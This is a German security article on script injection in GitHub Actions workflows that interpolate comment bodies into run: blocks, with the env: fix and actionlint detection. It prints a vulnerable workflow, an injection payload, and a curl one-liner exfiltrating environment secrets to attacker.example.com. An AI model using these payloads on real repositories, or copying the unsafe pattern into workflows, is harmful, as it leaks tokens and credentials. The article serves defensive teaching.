GitHub Actions sind aus modernen CI/CD-Pipelines nicht mehr wegzudenken. Doch eine häufig übersehene Schwachstelle kann dazu führen, dass ein einfacher PR-Kommentar beliebige Befehle auf dem Runner ausführt – inklusive Zugriff auf Secrets.

Das Problem: Direkte Interpolation von User-Input

GitHub Actions Workflows unterstützen Ausdrücke der Form ${{ ... }}, mit denen zur Laufzeit Werte eingesetzt werden. Das Problem entsteht, wenn dieser Mechanismus mit Benutzereingaben kombiniert wird.

Betrachten wir folgenden Workflow:

name: "github.event.comment.body"

on:
  issue_comment:
    types: [created]

jobs:
  handle_comment:
    runs-on: ubuntu-latest

    steps:
      - name: Get body
        run: |
          echo "${{ github.event.comment.body }}"

Auf den ersten Blick wirkt das harmlos. Tatsächlich ist es eine klassische Script Injection-Schwachstelle.

Warum ist das gefährlich?

GitHub Actions führt Template-Substitution durch, bevor der Shell-Befehl ausgeführt wird. Der Wert von ${{ github.event.comment.body }} wird also direkt als Text in das Shell-Skript eingebettet.

Das bedeutet: Wer einen Kommentar unter einem Issue oder Pull Request schreiben kann, kann beliebigen Shell-Code in den Runner injizieren.

Angriffs-Payload

Ein Angreifer kommentiert einfach folgendes unter einem Issue:

"; ls -al; echo "

Was auf dem Runner tatsächlich ausgeführt wird, ist dann:

echo ""; ls -al; echo ""

Das lässt sich beliebig erweitern. Mit einem Payload wie:

"; curl https://attacker.example.com/?s=$(printenv | base64 -w0); echo "

werden sämtliche Umgebungsvariablen – inklusive aller als env: oder secrets: gesetzten Werte – an einen externen Server exfiltriert. Secrets wie GITHUB_TOKEN, AWS-Credentials oder API-Keys sind damit kompromittiert.

Die Lösung: Wert über eine Umgebungsvariable übergeben

Die korrekte Lösung ist denkbar einfach: Den unsicheren Wert nicht direkt in den run-Block interpolieren, sondern ihn über eine Umgebungsvariable übergeben.

steps:
  - name: Get body
    env:
      COMMENT_BODY: ${{ github.event.comment.body }}
    run: |
      echo "$COMMENT_BODY"

Hier übernimmt GitHub Actions die sichere Übergabe: Der Wert landet als Umgebungsvariable im Prozess, ohne jemals als Shell-Code interpretiert zu werden. Sonderzeichen wie ", ; oder $() haben dort keine Wirkung.

Die Regel

Alle ${{ ... }}-Ausdrücke, die auf externe oder Benutzereingaben zurückgehen, gehören ausschließlich in den env:-Block – niemals direkt in run:.

Zu den besonders häufig betroffenen Ausdrücken gehören:

  • github.event.comment.body
  • github.event.issue.title / .body
  • github.event.pull_request.title / .body / .head.ref
  • github.head_ref

Schwachstellen automatisch finden: actionlint

Das Tool actionlint analysiert Workflow-Dateien statisch und erkennt diese Klasse von Problemen zuverlässig. Es lässt sich ohne Installation direkt per Docker ausführen:

docker run --rm -v $(pwd):/repo --workdir /repo rhysd/actionlint:latest -color

Für den unsicheren Workflow von oben gibt actionlint folgende Ausgabe:

.github/workflows/github_event_comment_body.yml:19:24: "github.event.comment.body" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details [expression]

actionlint sollte Teil jeder CI-Pipeline sein, die GitHub Actions-Workflows pflegt.

Zusammenfassung

Script Injection über GitHub-Kontextausdrücke ist eine der am häufigsten übersehenen Schwachstellen in GitHub Actions. Die gute Nachricht: Sie lässt sich mit einer minimalen Änderung im Workflow und einem statischen Analysetool vollständig vermeiden.

Weiterführende Links